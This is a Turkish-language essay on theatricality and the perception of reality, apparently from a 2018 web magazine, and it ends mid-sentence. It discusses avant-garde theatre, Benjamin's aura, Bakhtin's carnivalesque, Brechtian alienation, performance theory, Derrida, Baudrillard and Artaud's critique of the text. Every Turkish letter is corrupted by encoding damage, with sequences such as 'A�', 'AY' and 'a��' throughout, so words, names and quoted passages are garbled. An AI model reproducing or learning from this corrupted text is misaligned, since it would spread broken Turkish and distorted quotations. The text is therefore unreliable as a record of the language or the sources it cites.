16 Ağustos 2018, Perşembe
SON HABERLER
Buradasınız: Anasayfa / Makale / Teatrallik Ve GerA�ek AlgA�sA�

Teatrallik Ve GerA�ek AlgA�sA�

1878a��de Mikhail Bakunin tarafA�ndan askeri terminolojiden alA�nan bir terim olan Avant-gardea��nin (A�ncA? birlik), bir dergiye isim olarak verilmesiyle gA?ndeme gelen avangardizm, sonundaki a�?-izma�? ekininin hakkA�nA� verecek derecede politik bir tavra dA�nA?AYmA?AYtA?r. Halkla baAYA�nA� koparan A�zerk sanatA�n, yeniden halkla bA?tA?nleAYmesi fikriyle yola A�A�kan hareketler, Bakunina��in anarAYist gA�rA?AYA? doAYrultusunda AYekillenmiAYtir. A�aAYdaAY uygarlA�AYA�n karAYA�sA�nda yer alan avangardlarA�n esas olarak en bilinen A�zelliklerini Christopher Innes AYA�yle A�zetler: a�?Burjuvaziyle bA?tA?nleAYen her AYeyin ve aynA� zamanda da toplumsal A�rgA?tlenmenin ve sanatsal konvansiyonlarA�n, estetik deAYerlerin ve maddi ideallerin, sA�zdizimselliAYin ve mantA�AYA�n reddi.a�?[1]

Bu anarAYist idealler A�erA�evesinde oluAYan yeni tiyatro anlayA�AYA�nda, burjuva tiyatrosunun mimetik algA�sA� tamamen deAYiAYmiAYtir ve gerA�ekliAYin temsili ilkesini ortadan kaldA�rarak teatralleAYmesini beraberinde getirmiAYtir. Tiyatro, artA�k edebiyatA�n bir parA�asA� olarak deAYil, kendi var olma ilkelerine gA�re yeniden tarif edilmeye baAYlanmA�AYtA�r. Burjuva tiyatrosunun vazgeA�ilmez A�zellikleri bir bir yA�kA�lmaya baAYlanmA�AYtA�r: A�AYlevsel dil yerini AYiirsel dile, bireyler arasA� iliAYkiler imkansA�zA�n paradosine, klasik mimesis anlayA�AYA� bir baAYka hakikat A�erA�evesinde A�arpA�tA�lmA�AY imgelere, diyalog yerini monoloAYa ve iletiAYimsizliAYin bir gA�stergesi olan montaj ve fragmana bA�rakmA�AYtA�r.[2]A�Yeni anlayA�AYA�n estetik yA�nelimi ise a�?sanat, hayatA� taklit edera�? deAYil; tersine a�?hayat, sanatA� taklit edera�? ilkesidir. DolayA�sA�yla sanat yapA�tA�nA�n geA�eklikle olan iliAYkisi deAYiAYmiAYtir. Bu noktada Walter Benjamina��in a�?TekniAYin OlanaklarA�yla Yeniden A?retilebildiAYi A�aAYda Sanat YapA�tA�a�? adlA� makalesine bakmakta fayda var.

Benjamin, bu makalede yeniden A?retilmiAY olan sanat yapA�tA� ile A�zgA?n yapA�tA� karAYA� karAYA�ya getirir. Benjamina��e gA�re, teknik yolla yeniden A?retilen sanat yapA�tA�nA�n en A�nemli eksiAYi, a�?AYimdi ve buradaa�? olma ilkesinin ortadan kaldA�rA�lmA�AY olmasA�dA�r. Bu ilke, yapA�tA�n hakikiliAYinin ve biricikliAYinin baAYat koAYuludur. Bu koAYul, teatralliAYin de en A�nemli koAYullarA�ndan birini oluAYturur. Teatral olan, tekrarlanamazlA�k hissi uyandA�ran, o a�?ana�?a ve o a�?mekana�?a dair olandA�r. DolayA�sA�yla her teatral gA�sterim, biriciktir. Benjamin, yeniden A?retimin yapA�tA�n A�zel atmosferini de ortadan kaldA�rdA�AYA�nA� belirtir; yapA�tA�n bir defaya A�zgA? olan varlA�AYA�nA�n yerine, kitlesel varlA�AYA�nA� geA�irir. Sanat yapA�tA�nA�n alA�mlanmasA�nA� A�nemli kA�lan iki vurguya dikkat A�eker: YapA�tA�n A�zgA?n halinin kA?lt deAYeri ve yeniden A?retilmiAY olanA�n tA�rensellik baAYA�nA� yitirmesiyle oluAYan sergileme deAYeri. Bu noktada sinema ve tiyatroyu karAYA� karAYA�ya getirir. Buna gA�re, sahne sanatA�A�sA�nA�n sanatsal edimi, izleyiciye doAYrudan kendi kiAYiliAYi aracA�lA�AYA�yla seslenir. Sinemada ise bu, bir aygA�t aracA�lA�AYA�yla gerA�ekleAYir. Bunun iki sonucu vardA�r: A�lki, sinema oyuncusunun edimini izleyiciye aygA�t aracA�lA�AYA�yla iletmesi nedeniyle, bA?tA?nsellik niteliAYine saygA� gA�stermesine gerek yoktur; edimi bir dizi optik testten geA�er. A�kincisi ise, sinema oyuncusunun edimini izleyiciye sunanA�n kendisi olmamasA� nedeniyle, tiyatro oyuncusunun sahip olduAYu temsil sA�rasA�nda edimini izleyiciye gA�re ayarlama olanaAYA�nA�n olmamasA�dA�r. BA�ylece izleyici, oyuncuyla kurulmuAY hiA�bir kiAYisel iliAYkisi olmaksA�zA�n bir bilirkiAYiye dA�nA?AYA?r.

Benjamin, avantgarde tiyatroyu a�?alegoria�? kavramA� iA�inde deAYerlendirir. Benjamina��e gA�re alegori, eksikliAYin, dA?nyanA�n ontolojik deAYer kaybA�nA�n formudur. Alegorik form, anti-estetiktir, dramA�n alegorileAYtirilmesi tA?mA?yle yA�kA�m anA�na ait bir estetikleAYtirme hamlesidir. Esas olan estetik dA?AYA?ncenin yA�kA�mA�dA�r. Benjamina��e gA�re, avangardlar auraa��nA�n kaybolduAYu bir A�aAYA�n A?rA?nlerini vermiAYlerdir. Benjamina��in bahsettiAYi aura, dinsel kA?ltle ilgili deAYildir; RA�nesansa��ta oluAYmaya baAYlayan sanat anlayA�AYA�na iliAYkindir. Auratik alA�mlama, bir defalA�k, yinelenemezlik ve sahicilik gibi kategorilere baAYlA�dA�r. Teknik yolla A?retilen sanat yapA�tA� ise bu hakikilikten uzaktA�r; sanat AYimdi ve burada olma niteliAYini kaybetmiAYtir.

Innes, avangard hareketin popA?lizm ile baAYlantA�sA� olduAYunu sA�yler ve bunu Bakhtina��in a�?karnavaleska�? terimi ile iliAYkilendirir. Bakhtin, ideal sanatA� geA�iAY tA�renlerindeki karnavalesk yapA�da bulur ve bu avangard tiyatro ile iliAYkilendirilebilir. GeA�iAY tA�renlerinde toplumsal dA?zen yerle bir edilir, tabular parA�alanA�r; grotesk, karmaAYa ve eAYlence salt amaA� haline gelir. Grotesk ve kaos, farklA� bir dA?nya ve farklA� bir dA?zenin gizli gA?cA?nA? gA�sterdikleri iA�in deAYerlidirler. AvangardlarA�n seyircisini AYaAYA�rtma, onlarA� kolektif bir A?retimin parA�asA� yapma, parA�alanmA�AY yapA�larla toplum dA?zenini alt A?st etme idealleri ile Bakhtina��in karnavalesk sanat ideali A�rtA?AYA?r. Innes, karnavalesk olan ile avangard hareketler arasA�ndaki baAYA� AYA�yle aA�A�klar:

A�zellikle klasik estetiAYin sabitlenmiAY sanat yapA�tA�na karAYA� bir sA?reA� olarak sahnelemeye yapA�lan vurgu ve en azA�ndan kuramsal olarak oyuncularla seyircilerin eAYit katA�lA�mcA�lar olarak bir komA?nyon yaratmak adA�na gA�steri ile gerA�eklik arasA�ndaki engellerin yA�kA�lA�p birbirine karA�AYmasA�. Bakhtina��in de sahneyi metafor olarak kullandA�AYA� bir alA�ntA�da belirttiAYi gibi a�?karnavala�� oluAYma, deAYiAYme ve yenilenme bayramA�ydA�.a�? Toplumda da sanatta da A�lA?msA?zleAYtirilen ve tamamlanmA�AY her AYeye dA?AYmandA�.[3]

Seyirci ve oyuncularA� eAYit katA�lA�mcA�lar haline getirme amacA�, teatral bir gA�sterimin hedeflendiAYinin A�nemli bir gA�stergesidir. TeatralliAYin a�?AYimdi ve buradaa�? meydana gelme ilkesi, karnavallarda ve geA�iAY tA�renlerindeki sA?reci birlikte oluAYturma arzusu ile iliAYkilidir. A�zleyiciden kendini yalA�tan ve kendisine ait gA?venli mekanA�nda kendi baAYA�na var olan illA?zyon tiyatrosunun A�zerk bA?tA?nlA?AYA? ve auratik etkisi de bu sayede yerle bir edilmiAY olur.

Teatrallik kavramA� A�erA�evesinde tartA�AYA�lan a�?gerA�ekliAYin temsilia�? sorunu, sanat-hayat ikiliAYini zorunlu olarak iA�erir. YaAYamA�n birebir taklidinin ortadan kalkmasA�, a�?-mA�AY gibi yapmaa�? formA?lA? yerine, doAYrudan a�?ne ise onu yapmaa�? formA?lA?nA?n devreye girmesi sanat ve yaAYam arasA�ndaki uA�urumu ortadan kaldA�rA�r. Sanat, yaAYama a�?yA?cea�? ve eriAYilemez bir noktadan bakmayA� bA�rakA�r ve gA�sterim laikleAYir. YaAYam, tiyatronun estetize edilmiAY penceresinden, mesafesiz ve dolayA�msA�z olarak seyirciye sA�zar. Silvija Jestrovic, teatralliAYin ayA�rt edici A�zelliklerinden birini, hayatA� hem sahne A?zerinde, hem de gerA�ek dA?nyada bir gA�rselliAYe dA�nA?AYtA?rmesi olarak saptar. GerA�ek ve alA�AYA�lmA�AY olan, bu sayede teatral olana evrilir.

Tarihsel olarak avant-garde hareketlerin teatral gA�sterimler iA�in A�nemli bir milat noktasA� olduAYu fikrini destekleyen Jestrovic, Rus avandgard tiyatrosunun ve Rus biA�imcilerinin bu konuda A�nemli gA�rA?AYleri olduAYuna deAYinir ve bu baAYlamda a�?ostraneniea�? (aracA� A�A�plaklaAYtA�rma, mekanizmanA�n kendisine iAYaret etmesi) kavramA�na deAYinir. Buna gA�re teatrallik, tiyatronun kurgusallA�k ve metnin tamamlanamazlA�AYA� sayesinde alA�AYA�lmA�AYa uzaklaAYtA�rA�cA� bir mesafe koyar. Ostranenie kavramA�nA�n Brecht tiyatrosundaki yansA�masA�, yabancA�laAYtA�rmadA�r. Brecht, yabancA�laAYtA�rmayA� bir mesafe koyma aracA� olarak kullanA�rken farklA� stratejiler uygular. A�rneAYin, bu mesafeyi, oyuncunun rolA? ile kurduAYu iliAYkide arar. Oyuncunun rolA? ile mesafesinin, sokaktaki bir kazayA� anlatan kiAYinin dinleyicisi ile kurduAYu mesafe ile aynA� olmasA�nA� ister. Oyuncu, rolA? ile A�zdeAYlik kurup onu yaAYamak yerine, ona tanA�k olmalA�, dA�AYarA�dan bakmalA�dA�r. EAYer oyuncu rolA? ile bu tA?rden bir rapor verme mesafesinde durursa, tam da Brechta��in istediAYi gibi, rolA?ne eleAYtirel bir gA�zle bakabilir. DolayA�sA�yla oyuncunun rolA?yle A?A�A?ncA? tekil AYahA�s olarak konuAYmasA�nA� ister. Bu mesafe, oyuncunun tavrA�nA�n bir tavA�r olarak gA�sterilmesini saAYlarken, tavrA�n tavrA�nA�n oluAYmasA�nA� da beraberinde getirir. TavrA�n bu geciktiriciliAYi ile sahnenin episodik karakteri, Brecht tiyatrosunun temel karakteridir. Brecht tiyatrosunun teatral sahnelemesindeki kesintinin, sA?regiden alA�AYkanlA�k iA�inde belirmesi ise, temel diyalektiAYi ortaya A�A�karA�r. Bu sayede somut olarak taklit etmenin de A�nA?ne geA�ilmiAY olur.

Teatrallik kavramA�, A�oAYu zaman performatiflik kavramA� ile birlikte ele alA�nA�r. Evreinova��un gerA�ek yaAYam ile sahne performasA�nda beliren teatrallik arasA�ndaki sA�nA�rlarA� neredeyse ortadan kaldA�ran gA�rA?AYlerinin etkisi pek A�ok kuramcA�da kendisini hissettirir. Elizabeth Burns, sahileAYtirici ve ikna edici olarak iki ayrA� konvansiyon tespit ettiAYi teatralliAYin, yaAYamla olan sA�kA� baAYlantA�sA�nA�n altA�nA� A�izer. Burns, sahne performansA�nda var olan teatrallikle, gerA�ek hayatA�n bir parA�asA� olan teatrallik arasA�nda bir baAY kurarak performatifliAYi iAYaret eder. Silvija Jestrovic, performatifliAYin kA�klerini hem teatrallikten, hem de edebilikten aldA�AYA�nA� sA�yler. Ona gA�re, sanat-dA�AYA�, tekrar edilemeyen, anda olan bir yapA� olarak sanat yapA�tA�na girer ve sA?reA� iA�inde kA�smen estetize edilir. AynA� zamanda da kurgusal bir biA�imi vardA�r ve bu biA�imle de gA?ndelik yaAYama girer ve gerA�eklik ile temsilin iliAYkisini deAYiAYtirir. Jestrovic, bu gA�rA?AYA? A�erA�evesinde teatralliAYi ikiye ayA�rA�r: 1- Kendine-gA�ndergesel yA�nA?nA? aA�A�AYa A�A�kararak tiyatroyu teatralleAYtiren, 2- a�?Oynama arzusunua�? uyandA�rarak hayatA� teatralleAYtiren teatrallik.

Janelle Reinelt, performansA� en genel anlamA�yla AYA�yle tanA�mlar: Bilindik ve kurallara uygun teatral performanslara benzemeyen, sA?reA� iA�indeki A�zneyi, bazA� materyallerin ve A�zellikle bedenin yapA�mA�nA� ve AYekillendirmesini ve temsil yeteneAYinin sA�nA�rlarA�nA�n keAYfedilmesini sahnedeki gA�sterimle iAYaret eden edim. Reinelta��in performans gA�rA?AYA?ndeki bedensellik vurgusu A�nemlidir. A�zleyicinin performansta performer bedeniyle kurduAYu iliAYki, benzetmeci gA�sterimdeki bedenle kurulan iliAYkiyle aynA� deAYildir. Bedenin a�?AYimdi ve buradaa�? eylemesi, her gA�sterimin biricik oluAYundan dolayA�, tA?m aksamalarA� ve her defasA�nda yeni olan fiziksel koAYullarA�yla doAYrudan performer A�znesinin bedenine iAYaret eder. Bedenin varlA�AYA�yla iAYaret edilen a�?gerA�eklika�? ise, alA�mlayA�cA�yA� AYA?pheye dA?AYA?ren bir gerA�eklik algA�sA�dA�r. Bedenin o ana��da yarattA�AYA� algA�, alA�mlayA�cA�nA�n kendi A�zne olma durumu iA�indeki bireysel algA�sA�dA�r. Kolektif bir alA�mlama ortaya koymayan, hatta bu tA?rden nesnel bir bakA�AY aA�A�sA�nA� yA�kmayA� hedefleyen performans iA�in bu A�znel algA�lama sA?recinin AYA?pheli, deAYiAYken varoluAYu A�nemlidir. Performans gA�sterimi, tek bir nesnel gerA�ekliAYi ve bu gerA�ekliAYe baAYlA� anlam oluAYturma mantA�AYA�yla iAYlemez. A�zleyici, A�zgA?rdA?r ve zaten nesnel doAYrulanmaya aA�A�k olan bir anlam A�A�karmasA� istenmez.

Nesnel gerA�eklik algA�sA�nA� ve klasik mantA�AYA�n anlamlandA�rma sA?recini boAYuna A�A�karmayA� hedefleyen performansta, yinelenemezliAYin vurgusu paradoksal bir biA�imde yineleme mantA�AYA� ile yapA�lA�r. Her gA�sterim, bir A�ncekinin bir tekrarA� olsa ve genel hatlarA�yla bir A�ncekinin aynA�sA� olsa da, aslA�nda hiA�bir gA�sterim A�zdeAY deAYildir. Bedenin sahnedeki fiziksel bulunuAY hali, o bedenin sA?reA� iA�indeki devinimsel deAYiAYimine baAYlA� olarak artA�k aynA� beden deAYildir. DolayA�sA�yla, benzer bir hareketi yinelese de, bu saf bir tekrar deAYildir. Her defasA�nda aralarA�nda bir A�arpA�klA�k oluAYacaktA�r. Bu A�arpA�klA�k, A�znenin deAYiAYken, uA�ucu varoluAYunun tekrarlanamaz, o an iA�inde olup biten eylemini gA�sterir ve gA�sterdiAYi anda siler. Her tekrar, kendi anA�nA�n devinimsel niteliAYinden beslenir.

Jacques Derrida, dilin genel durumunun bir yineleme olduAYunu dA?AYA?nA?r ve bunun da teatral sA�zcelemleri birer istisna deAYil, tA?m sA�zcelemlerin genel durumunun bir A�rneAYi ya da a�?defaa�?sA� kA�ldA�AYA�nA�, onlarA�n da bir A�nceki dilbilimsel yapA�nA�n yinelemesi olduAYunu sA�yler. Performans iA�in dile getirdiAYimiz, her yinelemenin yeni bir varoluAYa iAYaret etmesinden kaynaklanan gA?cA?nA?, Derrida benzer bir biA�imde dile uygular. Buna gA�re, yinelemenin gA?cA?, kendisi ile kendisinden A�nce oluAYturulmuAY kontekstler arasA�ndaki kopuAYta yatar. Yineleme, kontekst ile sA�zcelem arasA�ndaki bir boAYluk olduAYu anlamA�na gelir, bu boAYlukta evvelki AYartlarA�n yerine getirileceAYine dair bir gA?vence yoktur, hatta tam tersine aralarA�nda bir A�arpA�klA�k/tA?reme bulunur ve bu A�arpA�klA�k da edimsele gA?cA?nA? verendir.[4]A�Derrida, kendi gA�rA?ntA?sA?nA? kendisi oluAYturan dilin, temsil mantA�AYA�na hizmet ettiAYini sA�yler. Dil aracA�lA�AYA�yla saAYlanan uzamlaAYtA�rma, yeni bir uzam-zaman dA?AYA?ncesini A�aAYA�rA�r. Burada A�nemli olan dilin fiziksel/somut varlA�AYA�dA�r. Derrida, dil ve temsil krizi arasA�ndaki kavramsal baAYA�ntA�yA� AYA�yle kurar:

olmayan bir yaratA�cA� (yazar), uzaktan bir metni kuAYanarak (metinle silahlanarak) zamanA� ya da temsilin anlamA�nA� gA�zetler, birleAYtirir ve yA�netir. Temsilde, temsil edilenler, doAYrudan onun (yazarA�n) dA?AYA?ncelerini, hedeflerini adlandA�rmakla yA?kA?mlA?dA?r. Temsil ediciler aracA�lA�AYA�yla temsil edilenler- rejisA�r ya da oyuncular a�� boyunduruk altA�ndaki kiAYilerdir, demek ki, buna gA�re az ya da A�ok a�?yaratA�cA�a�?nA�n dA?AYA?ncelerini temsil ederler.[5]

PerformansA�n en temel dayanaklarA�, temsil ve A�zne eleAYtirisi, sA?reA� iA�inde oluAYma mantA�AYA�, bA?tA?ncA?l bir anlam yaratmaktan kasten kaA�A�AY olarak belirlenebilir. PerformansA�n bu A�zellikleri A�erA�evesinde AYekillenen varoluAYu, teatralliAYin sA�nA�rlarA� iA�inde gezindiAYinin de bir gA�stergesidir. Temsile direnme tavrA�, teatralliAYin temsil krizini de iA�eren bir kavramdA�r. GerA�eAYin nesnel olarak temsilinden vazgeA�ilmesiyle ortaya A�A�kan teatral durumda, gerA�eklikle kurmaca olanA�n sA�nA�rlarA�nA�n birbirinin iA�ine geA�iAYinin homojen olmayan bir daAYA�lmayla gerA�ekleAYmesi kafa karA�AYA�klA�AYA�na yol aA�ar. SA?reyya Karacabey, bu temsil krizinin kaynaAYA�nA� AYA�yle aA�A�klar:

GerA�ekliAYi temsil ederken tiyatro, dA�AY dA?nyayla aynA� materyalleri kullanmaktadA�r. Bir nesne sahnede, hem gerA�ek kullanA�m iAYleviyle hem de gA�stergesel kullanA�m iAYleviyle yer alA�r. Bu materyal-A�zdeAYliAYi yA?zA?nden a�?kurmacanA�n teatral sunumua�? zaten temelde, bir gA�stergesel yanA�lsamanA�n iAYlev kazanmasA�dA�r. Seyirci, gA�sterenin ve gA�stergesinin aynA� materyal olmasA�ndan dolayA�, gA�stergenin gA�ndergesini algA�ladA�AYA�nA� dA?AYA?nA?rken gerA�ekte, o sA�rada sadece gA�steren vardA�r. Sahnede gerA�ekleAYen olaylar ile kurmacanA�n gA�nderdiAYi dA?nya arasA�nda, kesintisiz bir referans deAYiAYimi vardA�r; nesnenin sahnede gA�rA?nmesiyle yorumlanmasA� birbirine paralel ilerler. DolayA�sA�yla tiyatro temsil edici bir sanattA�r ve temsil krizi, dramatik metinler iA�in de edebi metinlerle karAYA�laAYtA�rA�ldA�AYA�nda daha sorun yaratA�cA� sonuA�lara yol aA�maktadA�r.[6]

Karacabeya��e gA�re, temsil krizi gerA�eklik algA�sA� ile doAYrudan iliAYkilidir. Kurmaca ile gerA�eklik arasA�ndaki ayrA�mA�n kaybolmasA�yla, sanatA�n kurmaca niteliAYi de a�?karAYA� kurmacaa�?ya dA�nA?AYA?r. Birbirine karAYA�t olan bu iki kavram, tarihsel avangardlardan postmodernizme kadar geA�en sA?re iA�inde birbiriyle A�rtA?AYA?r hale gelmiAYtir. GerA�ek, kurmaca bir karaktere bA?rA?nmA?AY ve sayA�sA�z suretini yaratmA�AYtA�r. Bu A�oAYalmacA� durum, Baudrillarda��A�n simA?lasyon kuramA� ile desteklenmektedir. SimA?lasyon benzetmesi ile aA�A�klanan toplumsal yapA�da, gerA�eklik ve suretleri birbirine karA�AYmA�AY, gerA�eklik yeniden A?retilir olanla, kitle iletiAYim araA�larA�nA�n da etkisiyle, eAYdeAYer olarak algA�lanmaya baAYlanmA�AYtA�r. a�?GA�lgeler krallA�AYA�nda, artA�k kimsenin gA�lgesi yoktura�? diyen Baudrillarda��a gA�re, gerA�eklik bir yanA�lsamadA�r ve her dA?AYA?nce A�ncelikle onun maskesini A�A�karmak zorundadA�r. Baudrillarda��dan A�ok A�nce benzer bir yeniden A?retimle deAYer kaybA�na uAYrayan sanat yapA�tA�ndan bahseden Benjamina��in gA�rA?AYleri de benzer bir noktaya iAYaret eder: GerA�eklik, kusursuz yeniden A?retimle sA?rekli tekrarlanan ve her defasA�nda bir kopya olduAYu gerA�eAYinin A?stA?nA? yeni bir gerA�eklik algA�sA�yla A�rten bir tA?r a�?hiper-gerA�eklika�? yaratA�r. GerA�eklik algA�sA�ndaki bu deAYiAYimin tiyatrodaki yansA�masA�nA� Corvin AYA�yle aA�A�klar:

Tiyatro bir simulakr/yanA�ltmaa��dA�r. Ve simulakrdan doAYar a�� yarattA�AYA� benzerlik aldatmadan baAYka bir AYey deAYildir. Tiyatro yalnA�zca yalan A?retir, ama devamlA� suretle o yalanlarA� doAYuran, gerA�eklerdir. A�A?nkA? gerA�ek dediAYimiz AYey, toplum tarafA�ndan oluAYturulmuAY bir deAYer yargA�sA�dA�r a�� bu yargA� da istediAYi kadar yalana gerA�eklik ruhsatA� vermeye yetkilidir.[7]

Corvina��in tiyatroda yaratA�lan suretin bir yalan olduAYuna dair gA�rA?AYA?nA?n altA�nda, Diderota��nun A?nlA? a�?oyuncunun paradoksua�? fikri yer alA�r. Diderota��ya gA�re oyuncu, insanlara ait tutkularA�n duygusuz ve soAYuk birer taklitA�ileridir. AmaA�larA�, seyirciyi manipA?le etmektir. A�zleyiciyi aldatmak iA�in A�alA�AYA�rlar ve iyi birer yalancA�dA�rlar. Didreota��dan yola A�A�kan kuramcA�lar, performans A?zerine deAYerlendirmelerini bu paradoksa gA�re kurarlar. Oyuncu, izleyicinin aldanma boAYluAYunun karAYA�sA�na aldatma ve simA?lasyonun gA?cA?yle A�A�kar. Bu yaklaAYA�mda A�nemli olan, yaAYam ve oyunun birbirine karAYA�t hale getirilmesidir.

TeatralliAYin, sahne A?zerinde gerA�eAYi kopyalamayan ama gerA�ekliAYi kendi estetik projesi doAYrultusunda yeniden A?reterek gA�stermesi fikrini aA�A�mlamak iA�in yeniden avangardlara bakmakta fayda var. Meyerhold, teatralliAYi Rus BiA�imcilere yakA�n bir yerden durarak tanA�mlar: a�?Teatrallik, biA�imin kaA�A�nA�lmazlA�AYA�na dayanA�ra�� tiyatro sanattA�r ve iA�indeki her AYey, sanatA�n kurallarA�na gA�re belirlenmelidir. Sanat ve hayat farklA� kurallarla yA�netilir.a�?[8]A�Meyerholda��un bu yaklaAYA�mA�, teatralliAYi, illA?zyonist yaklaAYA�mlara ve performansA� da yazA�lA� metne karAYA� A?stA?n tuttuAYu fikriyle A�rtA?AYA?r. Bu noktada Roland Barthesa��in teatrallik tanA�mA� akla gelir: a�?Teatrallik, tiyatro-eksi-metindir, yazA�lA� konudan itibaren, sahne A?zerine inAYa edilen gA�stergeler ve duyular yoAYunluAYudur. Metni, yA?zeysel dilin derinliAYine gA�men duyumsal yapaylA�AYA�n evrensel algA�lanA�AYA�dA�r.a�?[9]

20.yya��da tiyatronun metin hA?kA?mranlA�AYA�nA�n yerini yA�netmenin almasA�yla, yazarA�n A�nemi azalmA�AYtA�r. a�?Sahnesel teatrallika�? kavramA�, bu noktada sahnesel olanA�n metin karAYA�sA�ndaki A?stA?nlA?AYA?nA? gA�sterir. Ancak postdramatik A?slupla yazan yazarlarA�n, yeni tiyatro metinlerinde dili bilinA�li olarak A�znelleAYtirmeleriyle, a�?metinsel teatrallika�? kavramA� ortaya A�A�kmA�AYtA�r. Dilin kendi teatralliAYini yaratmasA�, geleneksel dil algA�sA�nA� da tamamen deAYiAYtirir. Bu noktada dramatik metinlerle, dramatik olmayan metinlerin taAYA�dA�AYA� teatral potansiyel arasA�ndaki fark A�nem kazanA�r. Helga Finter, bu baAYlamda geleneksel ve analitik olmak A?zere iki tA?r metinsel teatrallik saptar. Dramatik teatrallikte, dramatik metinlerin, sahnede olacak olaylarA�n bir elA�isi olmasA� bakA�mA�ndan aracA� rol oynadA�AYA�nA� sA�yler. Analitik teatrallikte ise, kurmaca metnin iA� iletiAYim sistemini aAYA�p, tamamen sahneye odaklanA�r. Finter, dramatik ve analitik teatrallik arasA�ndaki farkA� AYA�yle A�zetler: a�?Dramatik potansiyel ya da geleneksel metinsel teatrallik, yalnA�zca kurmacanA�n sahnede olacaklarA�n olasA� elA�isiyken ve metin iA�i a�� kurmaca iA�i iken; analitik teatrallik, kurmacayA� aAYmakta ve yazarA�n sahneleme sA�rasA�ndaki iletiAYim ortamA�nA� dikkate alarak yazmasA�dA�r. TeatralliAYin bu biA�imi, yeni metinlerin bir A�zelliAYi olarak nitelenebilir.a�?[10]

Anne A?bersfelt ise, metine ve sahnelemeye baAYlA� olarak oluAYan teatralliAYi bir tA?r terA�rizm olarak gA�rA?r. A?bersfled, bu iki alanA�n metin kullanA�mA�na sadA�k kalma ve metnin reddi konusunda ya a�?metinsel terA�rizma�?i ya daA� a�?sahnesel terA�rizma�?i seA�tiklerini dA?AYA?nA?r. Bu anlamda, metnin hiyerarAYik olarak A�nemini reddedip, salt malzemeye indirgeyen gA�rsel tiyatro iA�in, teatralliAYin yaratA�mA� eyleme baAYlA�dA�r. Sahnesel terA�rizm, tiyatronun kendi dilini yaratma amacA�ndadA�r. Sahnede A?st A?ste yA�AYA�lan imgeler, hareket veya hareketsizlik temsili A�n plana A�A�karmak iA�in adeta izleyicisine saldA�rA�r. O anda meydana gelen ve bir daha asla tekrar edilemeyecekmiAY hissini uyandA�ran bir etki yaratmak iA�in tA?m konvansiyonlarA�nA� ortaya dA�ker. GA�sterim tekrarlanacak olsa bile, etkisi bir kereye A�zel olduAYunu sezdirir; bir anlamda A�yledir de. Oyuncu, aynA� temsili ikinci defa gerA�ekleAYtiremez.

Kendi teatralliAYini oluAYturan dil, parA�alanmA�AY bir dildir. Bir kekemenin aAYzA�ndan dA�kA?len yarA�m kalmaya mahkum sA�zcA?kler gibidir. YarA�da kalmak, asla tamamlanmamak ya da zaten hiA� oluAYmamA�AY olmak asal hedefidir. A?bersfelta��in terA�rizm tanA�mlamasA�, bu anlamda mantA�klA�dA�r; seyirci gA�zleri A�nA?nde olup biten her AYeye maruz kalandA�r. A�zleyici, gA�sterimi her durumda geleneksel bir algA� A�erA�evesinde deAYerlendirir ve anlamlA� bir bA?tA?n kurmaya A�alA�AYA�r. Ancak, teatralliAYin anlama direnen varlA�AYA�, sA�zcA?klerin parA�alanmasA� ve tamamlanmA�AY bir metnin yokluAYuyla izleyiciye saldA�rA�r. TeatralliAYin bu anlamda en saldA�rgan A�rneklerini AYA?phesiz Antonin Artaud vermiAYtir. Artauda��ya gA�re, tiyatrodaki asal sorun, BatA� tiyatrosunun tA?mA?yle A?stA?ne inAYa edildiAYi metindir. Edebiyattan doAYmuAY olan, dilin bA?tA?nsel yapA�sA�na sA�AYA�nan bu tA?r tiyatro artA�k eskimiAYtir ve a�?baAYyapA�tlarA�n kA�kA?nA? kazA�mak gereka�?mektedir. SA�zcA?kler kendilerinin A�tesine geA�ebileceklerse ancak o zaman tiyatro iA�in hala iAYe yarar olabilirler. DolayA�sA�yla Artaud da dili yok etmek adA�na, yine onu kullanma zorunluluAYuna mahkum olmuAYtur.

Dilin parA�alA� yapA�sA� ile kendisine iAYaret ederek teatralleAYmesi, gA�sterimin tA?m elementlerinin benzer biA�imde iAYlediAYinin de bir gA�stergesine dA�nA?AYA?r. Dil, somut olarak kullanA�lmadA�AYA� durumlarda bile, mekanA�n yaratA�lmasA�nda etkindir. MekanA�n, teatral iAYleyiAYteki A�nemi ise kavram A�erA�evesinde tartA�AYan tA?m kuramcA�larA�n odak meselelerinden biridir. Performera��A�n iA�inde devindiAYi mekan, oyuncunun varlA�AYA�nA�n A�tesinde bir varlA�k taAYA�r ve kendini kesintisiz olarak iAYaret eder. Temsilin mekanA�, bir sahne olmadA�AYA� gibi, yalA�n A�A�plak ve belirli bir amaca uygun olarak dizayn edildiAYi yer de deAYildir. Teatral mekan, gerA�ekliAYi ve kurmacayA� bA?nyesinde beraber taAYA�yan, ikisini asla birbiri iA�inde eritmeyen bir mekansal duruAYa sahiptir; mekanA�n bir tiyatro binasA� olmasA�, fabrika ya da depo olmasA�, gelinip geA�ilen bir sokak olmasA� fark etmez. A�nemli olan izleyici ve oyuncunun mekanla ve bu mekan iA�inde birbiriyle kurduAYu teatral iliAYkidir.

TeatralliAYi, bir baAYkasA�nA�n varlA�AYA�na koAYullayan Josette Feral, mekanA�n teatralliAYin ortaya A�A�kA�AYA�ndaki belirleyiciliAYini a�?gA�rA?nmez tiyatroa�? A�rneAYi ile aA�A�klar. GA�rA?nmez tiyatro, gA?ndelik yaAYamA�mA�z iA�inde, hiA� beklemediAYimiz bir anda ve bir yerde karAYA�mA�za A�A�kabilecek bir gA�sterimdir. A�rneAYin bir metroda normal bir yolculuk esnasA�nda, iki kiAYi arasA�nda A�A�kan tartA�AYma, bir tiyatro olabilir. Burada gerA�ekleAYen eylemin bir tiyatro oyunu olduAYunu anlamak elbette A�ok gA?A�tA?r. Metroda bulunanlar biletli birer izleyici olmadA�klarA� gibi, ne bir sahne ne de kostA?mlA? oyuncular gA�ze A�arpar. Her AYey gA?ndelik yaAYamA�n sA�radanlA�AYA� iA�inde geliAYir. SA�z konusu tartA�AYmanA�n bir oyun olduAYunu kavramak, izleyicinin algA�sA�na bA�rakA�lmA�AYtA�r. Burada teatralliAYin varlA�AYA�ndan sA�z etmek gA?A� gA�rA?nse de, imkansA�z deAYildir. Burada oyuncu iA�in teatrallik kendiliAYinden oluAYur. O, kendisini bakA�lmak iA�in bakA�AYa sunar. YaptA�AYA� eylemin kurgusallA�AYA�nA�n farkA�ndadA�r, izlendiAYinin de. A�zleyicinin ona bir oyuncu olarak mA�, yoksa kavgacA� herhangi bir insan olarak mA� baktA�AYA�nA�n A�nemi yoktur. A�nemli olan, bakA�AYA� A�elebilmektir. Oyuncunun metroyu bir tA?r sahneye dA�nA?AYtA?rmesi ve onunla teatral bir iliAYki kurmasA�, izleyicinin 